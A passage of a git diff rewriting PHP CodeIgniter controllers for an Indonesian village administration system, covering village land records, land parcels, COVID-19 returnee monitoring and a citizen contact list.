'tanah_kas', + 'main_content' => 'bumindes/pembangunan/tanah_kas_desa/content_tanah_kas_desa', + ]); + } + + public function clear() + { + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + + redirect('bumindes_tanah_kas_desa'); + } + + public function view_tanah_kas_desa($id) + { + $view_data = $this->tanah_kas_desa_model->view_tanah_kas_desa_by_id($id) ?? show_404(); + $data = [ + 'main' => $view_data, + 'main_content' => 'bumindes/pembangunan/tanah_kas_desa/form_tanah_kas_desa', + 'persil' => $this->data_persil_model->list_persil_kelas(), + 'list_asal_tanah' => $this->tanah_kas_desa_model->list_asal_tanah_kas(), + 'list_peruntukan' => $this->tanah_kas_desa_model->list_peruntukan_tanah_kas(), + 'subtitle' => 'Buku Tanah Kas Desa', + 'selected_nav' => 'tanah_kas', + 'view_mark' => 1, + 'asal_tanah' => $view_data->nama_pemilik_asal, + ]; + + $this->render('bumindes/umum/main', $data); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + if ($id) { + $view_data = $this->tanah_kas_desa_model->view_tanah_kas_desa_by_id($id) ?? show_404(); + $data = [ + 'main' => $view_data, + 'main_content' => 'bumindes/pembangunan/tanah_kas_desa/form_tanah_kas_desa', + 'persil' => $this->data_persil_model->list_persil_kelas(), + 'list_asal_tanah' => $this->tanah_kas_desa_model->list_asal_tanah_kas(), + 'list_peruntukan' => $this->tanah_kas_desa_model->list_peruntukan_tanah_kas(), + 'subtitle' => 'Buku Tanah Kas Desa', + 'selected_nav' => 'tanah_kas', + 'view_mark' => 2, + 'asal_tanah' => $view_data->nama_pemilik_asal, + 'form_action' => site_url("bumindes_tanah_kas_desa/update_tanah_kas_desa/{$id}"), + ]; + } else { + $data = [ + 'main' => null, + 'main_content' => 'bumindes/pembangunan/tanah_kas_desa/form_tanah_kas_desa', + 'persil' => $this->data_persil_model->list_persil_kelas(), + 'list_asal_tanah' => $this->tanah_kas_desa_model->list_asal_tanah_kas(), + 'list_peruntukan' => $this->tanah_kas_desa_model->list_peruntukan_tanah_kas(), + 'subtitle' => 'Buku Tanah Kas Desa', + 'selected_nav' => 'tanah_kas', + 'view_mark' => 0, + 'form_action' => site_url('bumindes_tanah_kas_desa/add_tanah_kas_desa'), + ]; + } + + $this->render('bumindes/umum/main', $data); + } + + public function add_tanah_kas_desa() + { + $this->redirect_hak_akses('u'); + $this->tanah_kas_desa_model->add_tanah_kas_desa(); + if ($this->session->success == -1) { + $this->session->dari_internal = true; + redirect('bumindes_tanah_kas_desa/form'); + } else { + redirect('bumindes_tanah_kas_desa/clear'); + } + } + + public function update_tanah_kas_desa($id) + { + $this->redirect_hak_akses('u'); + $this->tanah_kas_desa_model->update_tanah_kas_desa(); + if ($this->session->success == -1) { + $this->session->dari_internal = true; + redirect("bumindes_tanah_kas_desa/form/{$id}"); + } else { + redirect('bumindes_tanah_kas_desa/clear'); + } + } + + public function delete_tanah_kas_desa($id) + { + $this->redirect_hak_akses('h'); + $this->tanah_kas_desa_model->delete_tanah_kas_desa($id); + + redirect('bumindes_tanah_kas_desa'); + } + + public function cetak_tanah_kas_desa($aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['headjs'] = false; + $data['main'] = $this->tanah_kas_desa_model->cetak_tanah_kas_desa(); + $data['config'] = $this->header['desa']; + $data['bulan'] = $this->session->filter_bulan ?: date('m'); + $data['tahun'] = $this->session->filter_tahun ?: date('Y'); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku Tanah Kas Desa'; + $data['isi'] = 'bumindes/pembangunan/tanah_kas_desa/tanah_kas_desa_cetak'; + $data['letak_ttd'] = ['1', '1', '20']; + + $this->load->view('global/format_cetak', $data); + } +} diff --git a/donjo-app/controllers/Cdesa.php b/donjo-app/controllers/Cdesa.php index 5a68c42eb..4761abe45 100644 --- a/donjo-app/controllers/Cdesa.php +++ b/donjo-app/controllers/Cdesa.php @@ -1,457 +1,365 @@ -load->model('data_persil_model'); + $this->load->model('cdesa_model'); + $this->load->model('wilayah_model'); + $this->modul_ini = 'pertanahan'; + $this->sub_modul_ini = 'c-desa'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['cari']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + redirect($this->controller); + } + + // TODO: fix + public function autocomplete() + { + return json($this->cdesa_model->autocomplete($this->input->post('cari'))); + } + + public function search() + { + $this->session->cari = $this->input->post('cari') ?: null; + redirect('cdesa'); + } + + public function index($page = 1, $o = 0) + { + $this->tab_ini = 12; + + $data['cari'] = $_SESSION['cari'] ?? ''; + $_SESSION['per_page'] = $_POST['per_page'] ?: null; + $data['per_page'] = $_SESSION['per_page']; + + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['paging'] = $this->cdesa_model->paging_c_desa($page); + $data['keyword'] = $this->data_persil_model->autocomplete(); + $data['cdesa'] = $this->cdesa_model->list_c_desa($data['paging']->offset, $data['paging']->per_page); + + $this->render('data_persil/c_desa', $data); + } + + public function rincian($id) + { + $this->tab_ini = 13; + $data = []; + $data['cdesa'] = $this->cdesa_model->get_cdesa($id); + $data['desa'] = $this->header['desa']; + $data['pemilik'] = $this->cdesa_model->get_pemilik($id); + $data['persil'] = $this->cdesa_model->get_list_persil($id); + $this->render('data_persil/rincian', $data); + } + + public function mutasi($id_cdesa, $id_persil) + { + $data = []; + $data['cdesa'] = $this->cdesa_model->get_cdesa($id_cdesa); + $data['desa'] = $this->header['desa']; + $data['pemilik'] = $this->cdesa_model->get_pemilik($id_cdesa); + $data['mutasi'] = $this->cdesa_model->get_list_mutasi($id_cdesa, $id_persil); + $data['persil'] = $this->data_persil_model->get_persil($id_persil); + if (empty($data['cdesa'])) { + show_404(); + } + + $this->render('data_persil/mutasi_persil', $data); + } + + public function create($mode = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->load->helper('form'); + $this->load->library('form_validation'); + $this->form_validation->set_rules('nama', 'Nama Jenis Tanah', 'required'); + + $this->tab_ini = empty($mode) ? 10 : 12; + + $post = $this->input->post(); + $data = []; + $data['mode'] = $mode; + $data['penduduk'] = $this->cdesa_model->list_penduduk(); + if ($mode === 'edit') { + $data['cdesa'] = $this->cdesa_model->get_cdesa($id) ?? show_404(); + $this->ubah_pemilik($id, $data, $post); + } else { + switch ($post['jenis_pemilik']) { + case '1': + // Pemilik desa + if (! empty($post['nik'])) { + $data['pemilik'] = $this->cdesa_model->get_penduduk($post['nik'], $nik = true); + } + break; + + case '2': + // Pemilik luar desa + $data['cdesa']['jenis_pemilik'] = 2; + break; + } + } + + $this->render('data_persil/create', $data); + } + + private function ubah_pemilik($id, &$data, $post) + { + $this->redirect_hak_akses('u'); + $jenis_pemilik_baru = $post['jenis_pemilik'] ?: 0; + + switch ($jenis_pemilik_baru) { + case '0': + // Buka form ubah pertama kali + if ($data['cdesa']['jenis_pemilik'] == 1) { + $data['pemilik'] = $this->cdesa_model->get_pemilik($id); + } + break; + + case '1': + // Ubah atau ambil pemilik desa + $data['pemilik'] = $this->cdesa_model->get_pemilik($id); + if ($post['nik'] && ${$data}['pemilik']['nik'] != $post['nik']) { + $data['pemilik'] = $this->cdesa_model->get_penduduk($post['nik'], $nik = true); + } + $data['cdesa']['jenis_pemilik'] = $jenis_pemilik_baru; + break; + + case '2': + // Ubah pemilik luar + $data['cdesa']['jenis_pemilik'] = $jenis_pemilik_baru; + break; + } + } + + public function simpan_cdesa($page = 1) + { + $this->redirect_hak_akses('u'); + $this->load->helper('form'); + $this->load->library('form_validation'); + $this->form_validation->set_rules('c_desa', 'Nomor Surat C-DESA', 'required|trim|numeric'); + $this->form_validation->set_rules('c_desa', 'Username', 'callback_cek_nomor'); + + if ($this->form_validation->run() != false) { + $id_cdesa = $this->cdesa_model->simpan_cdesa(); + if ($this->input->post('id')) { + redirect('cdesa'); + } else { + redirect("cdesa/create_mutasi/{$id_cdesa}"); + } + } else { + $_SESSION['success'] = -1; + $_SESSION['error_msg'] = trim(strip_tags(validation_errors())); + $jenis_pemilik = $this->input->post('jenis_pemilik'); + $id = $this->input->post('id'); + if ($jenis_pemilik == 1) { + if ($id) { + redirect('cdesa/create/edit/' . $id); + } else { + redirect('cdesa/create'); + } + } else { + if ($id) { + redirect('cdesa/create/edit/' . $id); + } else { + redirect('cdesa/create'); + } + } + } + } + + public function create_mutasi($id_cdesa, $id_persil = '', $id_mutasi = '') + { + $this->redirect_hak_akses('u'); + $this->load->helper('form'); + $this->load->library('form_validation'); + $this->load->model('plan_area_model'); + $this->form_validation->set_rules('nama', 'Nama Jenis Tanah', 'required'); + $this->session->unset_userdata('cari'); // Area menggunakan session cari, jadi perlu dihapus terlebih dahulu + + $this->tab_ini = 12; + if (empty($id_persil)) { + $id_persil = $this->input->post('id_persil'); + } + + if ($id_persil) { + $data['persil'] = $this->data_persil_model->get_persil($id_persil) ?? show_404(); + } else { + $data['persil'] = null; + } + + if ($id_mutasi) { + $data['persil'] = $this->cdesa_model->get_persil($id_mutasi); + $data['mutasi'] = $this->cdesa_model->get_mutasi($id_mutasi); + } + $data['cdesa'] = $this->cdesa_model->get_cdesa($id_cdesa) ?? show_404(); + $data['list_cdesa'] = $this->cdesa_model->list_c_desa(0, 0, [$id_cdesa]); + $data['pemilik'] = $this->cdesa_model->get_pemilik($id_cdesa); + + $data['list_persil'] = $this->data_persil_model->list_persil(); + $data['persil_lokasi'] = $this->wilayah_model->list_semua_wilayah(); + $data['persil_kelas'] = $this->referensi_model->list_by_id('ref_persil_kelas'); + $data['persil_sebab_mutasi'] = $this->referensi_model->list_by_id('ref_persil_mutasi'); + $data['peta'] = $this->plan_area_model->list_data(); + + $this->render('data_persil/create_mutasi', $data); + } + + public function simpan_mutasi($id_cdesa, $id_mutasi = '') + { + $this->redirect_hak_akses('u'); + $data = $this->cdesa_model->simpan_mutasi($id_cdesa, $id_mutasi, $this->input->post()); + if ($data['id_persil']) { + redirect("cdesa/mutasi/{$id_cdesa}/{$data['id_persil']}"); + } else { + redirect("cdesa/rincian/{$id_cdesa}"); + } + } + + public function hapus_mutasi($cdesa, $id_mutasi) + { + $this->redirect_hak_akses('u'); + $id_persil = $this->db + ->select('id_persil') + ->where('id', $id_mutasi) + ->where('config_id', identitas('id')) + ->get('mutasi_cdesa') + ->row() + ->id_persil; + + $this->db + ->where('id', $id_mutasi) + ->where('config_id', identitas('id')) + ->delete('mutasi_cdesa'); + redirect("cdesa/mutasi/{$cdesa}/{$id_persil}"); + } + + // TODO: gunakan pada waktu validasi C-Desa + public function cek_nomor($nomor) + { + $id_cdesa = $this->input->post('id'); + if ($id_cdesa) { + $this->db->where('id <>', $id_cdesa); + } + $ada = $this->db + ->where('nomor', $nomor) + ->where('config_id', identitas('id')) + ->get('cdesa') + ->num_rows(); + + if ($ada) { + $this->form_validation->set_message('cek_nomor', 'Nomor C-Desa sudah ada'); + + return false; + } + + return true; + } + + // TODO: perbaiki + public function panduan() + { + $this->load->helper('form'); + $this->load->library('form_validation'); + + $this->tab_ini = 15; + $nav['act'] = 7; + $this->render('data_persil/panduan'); + } + + public function hapus($id) + { + $this->redirect_hak_akses('h', 'cdesa'); + $this->cdesa_model->hapus_cdesa($id); + redirect('cdesa'); + } + + public function import() + { + $data['form_action'] = site_url('data_persil/import_proses'); + $this->load->view('data_persil/import', $data); + } + + public function import_proses() + { + $this->redirect_hak_akses('u'); + $this->data_persil_model->impor_persil(); + redirect('data_persil'); + } + + public function cetak($o = 0) + { + $data['data_cdesa'] = $this->cdesa_model->list_c_desa(); + $this->load->view('data_persil/c_desa_cetak', $data); + } + + public function unduh($o = 0) + { + $data['data_cdesa'] = $this->cdesa_model->list_c_desa(); + $this->load->view('data_persil/c_desa_unduh', $data); + } + + public function form_c_desa($id = 0) + { + $data['desa'] = $this->header['desa']; + $data['cdesa'] = $this->cdesa_model->get_cdesa($id); + $data['basah'] = $this->cdesa_model->get_cetak_mutasi($id, 'BASAH'); + $data['kering'] = $this->cdesa_model->get_cetak_mutasi($id, 'KERING'); + $this->load->view('data_persil/c_desa_form_print', $data); + } + + public function awal_persil($id_cdesa, $id_persil, $hapus = false) + { + $this->redirect_hak_akses('u'); + $this->data_persil_model->awal_persil($id_cdesa, $id_persil, $hapus); + redirect("cdesa/mutasi/{$id_cdesa}/{$id_persil}"); + } +} diff --git a/donjo-app/controllers/Covid19.php b/donjo-app/controllers/Covid19.php index 9849b4281..50d157be4 100644 --- a/donjo-app/controllers/Covid19.php +++ b/donjo-app/controllers/Covid19.php @@ -1,473 +1,351 @@ -load->model('covid19_model'); + $this->load->model('wilayah_model'); + $this->load->model('penduduk_model'); + $this->modul_ini = 'kesehatan'; + } + + public function index() + { + $this->data_pemudik(1); + } + + public function data_pemudik($page = 1) + { + $this->sub_modul_ini = 'pendataan'; + + if (isset($_POST['per_page'])) { + $this->session->set_userdata('per_page', $_POST['per_page']); + } else { + $this->session->set_userdata('per_page', 10); + } + + $data = $this->covid19_model->get_list_pemudik($page); + $data['per_page'] = $this->session->userdata('per_page'); + + $this->render('covid19/data_pemudik', $data); + } + + public function form_pemudik() + { + $this->redirect_hak_akses('u'); + $this->sub_modul_ini = 'pendataan'; + + $d = new DateTime('NOW'); + $data['tanggal_datang'] = $d->format('Y-m-d H:i:s'); + + $data['list_penduduk'] = $this->covid19_model->get_penduduk_not_in_pemudik(); + + if (isset($_POST['terdata'])) { + $data['individu'] = $this->covid19_model->get_penduduk_by_id($_POST['terdata']); + } else { + $data['individu'] = null; + } + + $data['select_tujuan_mudik'] = $this->covid19_model->list_tujuan_mudik(); + + $data['dusun'] = $this->wilayah_model->list_dusun(); + $data['rw'] = $this->wilayah_model->list_rw($data['penduduk']['dusun']); + $data['rt'] = $this->wilayah_model->list_rt($data['penduduk']['dusun'], $data['penduduk']['rw']); + $data['agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['golongan_darah'] = $this->referensi_model->list_data('tweb_golongan_darah'); + $data['jenis_kelamin'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['select_status_covid'] = $this->referensi_model->list_data('ref_status_covid'); + + $nav['act'] = 206; + + $data['form_action'] = site_url('covid19/add_pemudik'); + $data['form_action_penduduk'] = site_url('covid19/insert_penduduk'); + + $this->render('covid19/form_pemudik', $data); + } + + public function apipendudukpemudik() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + $pemudik = CovidPemudik::pluck('id_terdata'); + + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->whereNotIn('id', $pemudik) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun, + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function insert_penduduk() + { + $this->redirect_hak_akses('u'); + $callback_url = $_POST['callback_url']; + unset($_POST['callback_url']); + + $this->session->jenis_peristiwa = 5; // pindah masuk + $id = $this->penduduk_model->insert(); + if ($_SESSION['success'] == -1) { + $_SESSION['dari_internal'] = true; + } + + redirect("{$this->controller}/form_pemudik"); + } + + public function add_pemudik() + { + $this->redirect_hak_akses('u'); + $this->covid19_model->add_pemudik($_POST); + + redirect($this->controller); + } + + public function hapus_pemudik($id_pemudik) + { + $this->redirect_hak_akses('h'); + $this->covid19_model->delete_pemudik_by_id($id_pemudik); + + redirect($this->controller); + } + + public function edit_pemudik_form($id = 0) + { + $this->redirect_hak_akses('u'); + $data = $this->covid19_model->get_pemudik_by_id($id); + $data['select_tujuan_mudik'] = $this->covid19_model->list_tujuan_mudik(); + $data['select_status_covid'] = $this->referensi_model->list_data('ref_status_covid'); + $data['form_action'] = site_url("{$this->controller}/edit_pemudik/{$id}"); + + $this->load->view('covid19/edit_pemudik', $data); + } + + public function edit_pemudik($id = 0) + { + $this->redirect_hak_akses('u'); + $this->covid19_model->update_pemudik_by_id($this->input->post(), $id); + + redirect($this->controller); + } + + public function detil_pemudik($id = 0) + { + $nav['act'] = 206; + + $data['terdata'] = $this->covid19_model->get_pemudik_by_id($id); + $data['individu'] = $this->covid19_model->get_penduduk_by_id($data['terdata']['id_terdata']); + + $data['terdata']['judul_terdata_nama'] = 'NIK'; + $data['terdata']['judul_terdata_info'] = 'Nama Terdata'; + $data['terdata']['terdata_nama'] = $data['individu']['nik']; + $data['terdata']['terdata_info'] = $data['individu']['nama']; + + $data['penduduk'] = $this->penduduk_model->get_penduduk($data['terdata']['id_terdata']); + $this->session->set_userdata('nik_lama', $data['penduduk']['nik']); + + $data['dusun'] = $this->wilayah_model->list_dusun(); + $data['rw'] = $this->wilayah_model->list_rw($data['penduduk']['dusun']); + $data['rt'] = $this->wilayah_model->list_rt($data['penduduk']['dusun'], $data['penduduk']['rw']); + $data['agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['golongan_darah'] = $this->referensi_model->list_data('tweb_golongan_darah'); + $data['jenis_kelamin'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['form_action_penduduk'] = site_url('covid19/update_penduduk/' . $data['terdata']['id_terdata'] . '/' . $id); + + $this->render('covid19/detil_pemudik', $data); + } + + public function update_penduduk($id_pend, $id_pemudik) + { + $this->redirect_hak_akses('u'); + $this->penduduk_model->update($id_pend); + if ($_SESSION['success'] == -1) { + $_SESSION['dari_internal'] = true; + } + + redirect("{$this->controller}/detil_pemudik/{$id_pemudik}"); + } + + public function pantau($page = 1, $filter_tgl = null, $filter_nik = null) + { + $this->sub_modul_ini = 'pemantauan'; + + if (isset($_POST['per_page'])) { + $this->session->set_userdata('per_page', $_POST['per_page']); + } else { + $this->session->set_userdata('per_page', 10); + } + $data['per_page'] = $this->session->userdata('per_page'); + $data['page'] = $page; + + // get list pemudik + $data['pemudik_array'] = $this->covid19_model->get_list_pemudik_wajib_pantau(true); + // get list pemudik end + + // get list pemantauan + $pantau_pemudik = $this->covid19_model->get_list_pantau_pemudik($page, $filter_tgl, $filter_nik); + $data['unique_nik'] = $this->covid19_model->get_unique_nik_pantau_pemudik(); + $data['unique_date'] = $this->covid19_model->get_unique_date_pantau_pemudik(); + $data['filter_tgl'] = $filter_tgl ?? '0'; + $data['filter_nik'] = $filter_nik ?? '0'; + + $data['paging'] = $pantau_pemudik['paging']; + $data['pantau_pemudik_array'] = $pantau_pemudik['query_array']; + // get list pemantauan end + + // datetime now + $d = new DateTime('NOW'); + $data['datetime_now'] = $d->format('Y-m-d H:i:s'); + + $data['this_url'] = site_url('covid19/pantau'); + $data['form_action'] = site_url('covid19/add_pantau'); + + $url_delete_front = 'covid19/hapus_pantau'; + $url_delete_rare = "{$page}"; + $data['url_delete_front'] = $url_delete_front; + $data['url_delete_rare'] = $url_delete_rare; + + $this->render('covid19/pantau_pemudik', $data); + } + + public function add_pantau() + { + $this->redirect_hak_akses('u', '', 'covid19/pantau'); + $this->covid19_model->add_pantau_pemudik($_POST); + $url = 'covid19/pantau/' . $_POST['page'] . '/' . $_POST['data_h_plus']; + + redirect($url); + } + + public function hapus_pantau($id_pantau_pemudik, $page = null, $h_plus = null) + { + $this->redirect_hak_akses('h', '', 'covid19/pantau'); + $this->covid19_model->delete_pantau_pemudik_by_id($id_pantau_pemudik); + + $url = 'covid19/pantau'; + $url .= (isset($page) ? "/{$page}" : ''); + $url .= (isset($h_plus) ? "/{$h_plus}" : ''); + + redirect($url); + } + + // $aksi = cetak/unduh + public function daftar($aksi = '', $filter_tgl = null, $filter_nik = null) + { + $this->session->set_userdata('per_page', 0); // Unduh semua data + + if (isset($filter_tgl) || isset($filter_nik)) { + $data = $this->covid19_model->get_list_pantau_pemudik(1, $filter_tgl, $filter_nik); + $judul = 'pantauan'; + } else { + $data = $this->covid19_model->get_list_pemudik(1); + $judul = 'pendataan'; + } + + if ($aksi === 'cetak') { + $aksi = $aksi . '_' . $judul; + } + + $data['config'] = $this->header['desa']; + $data['aksi'] = $aksi; + $data['judul'] = $judul; + $this->session->set_userdata('per_page', 10); // Kembalikan ke paginasi default + + $this->load->view('covid19/' . $data['aksi'], $data); + } +} diff --git a/donjo-app/controllers/Daftar_kontak.php b/donjo-app/controllers/Daftar_kontak.php index f3d01b7d3..feb43c812 100644 --- a/donjo-app/controllers/Daftar_kontak.php +++ b/donjo-app/controllers/Daftar_kontak.php @@ -1,521 +1,201 @@ -modul_ini = 'hubung-warga'; + $this->sub_modul_ini = 'daftar-kontak'; + $this->header['kategori'] = 'hubung warga'; + } + + public function index() + { + return view('admin.daftar_kontak.index', [ + 'navigasi' => 'Eksternal', + ]); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(DaftarKontak::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function penduduk() + { + return view('admin.daftar_kontak.penduduk', [ + 'navigasi' => 'Penduduk', + ]); + } + + public function datatablesPenduduk() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(Penduduk::hubungWarga()) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('u')) { + return ' '; + } + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + $navigasi = 'Eksternal'; + + if ($id) { + $action = 'Ubah'; + $formAction = route('daftar_kontak.update', $id); + $daftarKontak = DaftarKontak::findOrFail($id); + } else { + $action = 'Tambah'; + $formAction = route('daftar_kontak.insert'); + $daftarKontak = null; + } + + return view('admin.daftar_kontak.form', compact('title', 'navigasi', 'action', 'formAction', 'daftarKontak')); + } + + public function form_penduduk($id = null) + { + $this->redirect_hak_akses('u'); + + $navigasi = 'Penduduk'; + $action = 'Ubah'; + $formAction = route('daftar_kontak.update_penduduk', $id); + $daftarKontak = Penduduk::findOrFail($id); + + return view('admin.daftar_kontak.form', compact('title', 'navigasi', 'action', 'formAction', 'daftarKontak')); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (DaftarKontak::create(static::validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = DaftarKontak::findOrFail($id); + + if ($data->update(static::validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function update_penduduk($id = null) + { + $this->redirect_hak_akses('u'); + + $data = Penduduk::findOrFail($id); + + if ($data->update(static::validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data', 'daftar_kontak/penduduk'); + } + redirect_with('error', 'Gagal Ubah Data', 'daftar_kontak/penduduk'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (DaftarKontak::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + // Hanya filter inputan + protected static function validate($request = []) + { + return [ + 'nama' => nama_terbatas($request['nama']), + 'hubung_warga' => htmlentities($request['hubung_warga']), + 'telepon' => bilangan($request['telepon']), + 'email' => htmlentities($request['email']), + 'telegram' => bilangan($request['telegram']), + 'keterangan' => htmlentities($request['keterangan']), + ]; + } +} diff --git a/donjo-app/controllers/Data_persil.php b/donjo-app/controllers/Data_persil.php index fca1ae982..d7ad6e52b 100644 --- a/donjo-app/controllers/Data_persil.php +++ b/donjo-app/controllers/Data_persil.php @@ -1,505 +1,289 @@ -load->model(['data_persil_model', 'cdesa_model', 'pamong_model', 'wilayah_model']); + $this->controller = 'data_persil'; + $this->modul_ini = 'pertanahan'; + $this->sub_modul_ini = 'daftar-persil'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['lokasi', 'tipe', 'kelas', 'dusun', 'rw', 'rt', 'cari']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + redirect('data_persil'); + } + + // TODO: fix + public function autocomplete() + { + $data = $this->data_persil_model->autocomplete($this->input->post('cari')); + echo json_encode($data); + } + + public function search() + { + $this->session->cari = $this->input->post('cari') ?: null; + redirect('data_persil'); + } + + public function index($page = 1, $o = 0) + { + $this->tab_ini = 13; + + foreach ($this->list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->data_persil_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->data_persil_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + if (isset($data['tipe'])) { + $data['list_kelas'] = $this->data_persil_model->list_kelas($data['tipe']); + } else { + $data['list_kelas'] = ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['desa'] = $this->header['desa']; + $data['paging'] = $this->data_persil_model->paging($page); + $data['persil'] = $this->data_persil_model->list_data($data['paging']->offset, $data['paging']->per_page); + $data['persil_kelas'] = $this->data_persil_model->list_persil_kelas(); + $data['keyword'] = $this->data_persil_model->autocomplete(); + $data['list_dusun'] = $this->data_persil_model->list_dusun(); + + $this->render('data_persil/persil', $data); + } + + public function rincian($id = 0) + { + $this->tab_ini = 13; + $data = []; + $data['persil'] = $this->data_persil_model->get_persil($id) ?? show_404(); + $data['mutasi'] = $this->data_persil_model->get_list_mutasi($id); + $this->render('data_persil/rincian_persil', $data); + } + + public function form($id = '', $id_cdesa = '') + { + $this->redirect_hak_akses('u'); + $this->load->model('plan_area_model'); + $this->tab_ini = 13; + + $data = $this->navigasi_peta(); + + if ($id) { + $data['persil'] = $this->data_persil_model->get_persil($id) ?? show_404(); + } + if ($id_cdesa) { + $data['id_cdesa'] = $id_cdesa; + } + $data['list_cdesa'] = $this->cdesa_model->list_c_desa(); + $data['persil_lokasi'] = $this->wilayah_model->list_semua_wilayah(); + $data['persil_kelas'] = $this->data_persil_model->list_persil_kelas(); + $data['peta'] = $this->plan_area_model->list_data(); + + $this->render('data_persil/form_persil', $data); + } + + public function simpan_persil($page = 1) + { + $this->redirect_hak_akses('u'); + $this->load->helper('form'); + $this->load->library('form_validation'); + $this->form_validation->set_rules('no_persil', 'Nomor Surat Persil', 'required|trim|numeric'); + $this->form_validation->set_rules('nomor_urut_bidang', 'Nomor Urut Bidang', 'required|trim|numeric|max_length[3]|less_than[1000]|greater_than[0]'); + $this->form_validation->set_rules('kelas', 'Kelas Tanah', 'required|trim|numeric'); + + if ($this->form_validation->run() != false) { + $id_persil = $this->data_persil_model->simpan_persil($this->input->post()); + $cdesa_awal = $this->input->post('cdesa_awal'); + if (! $this->input->post('id_persil') && $cdesa_awal) { + redirect("cdesa/mutasi/{$cdesa_awal}/{$id_persil}"); + } else { + redirect('data_persil'); + } + } + + $this->session->success = -1; + $this->session->error_msg = trim(strip_tags(validation_errors())); + $id = $this->input->post('id_persil'); + redirect('data_persil/form/' . $id); + } + + public function hapus($id) + { + $this->redirect_hak_akses('h', 'data_persil'); + $this->data_persil_model->hapus($id); + redirect('data_persil/clear'); + } + + public function import() + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url('data_persil/import_proses'); + $this->load->view('data_persil/import', $data); + } + + public function import_proses() + { + $this->redirect_hak_akses('u'); + $this->data_persil_model->impor_persil(); + redirect('data_persil'); + } + + public function kelasid() + { + $data = []; + $id = $this->input->post('id'); + $kelas = $this->data_persil_model->list_persil_kelas($id); + + foreach ($kelas as $key => $item) { + $data[] = ['id' => $key, 'kode' => $item['kode'], 'ndesc' => $item['ndesc']]; + } + echo json_encode($data); + } + + public function filter($filter) + { + if ($filter == 'dusun') { + $this->session->unset_userdata(['rw', 'rt']); + } + if ($filter == 'rw') { + $this->session->unset_userdata('rt'); + } + if ($filter == 'tipe') { + $this->session->unset_userdata('kelas'); + } + if ($filter == 'lokasi') { + $this->session->unset_userdata(['dusun', 'rw', 'rt']); + } + + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('data_persil'); + } + + public function dialog_cetak($aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['form_action'] = site_url("data_persil/cetak/{$aksi}"); + $this->load->view('global/ttd_pamong', $data); + } + + public function cetak($aksi = '') + { + $post = $this->input->post(); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']); + $data['desa'] = $this->header['desa']; + 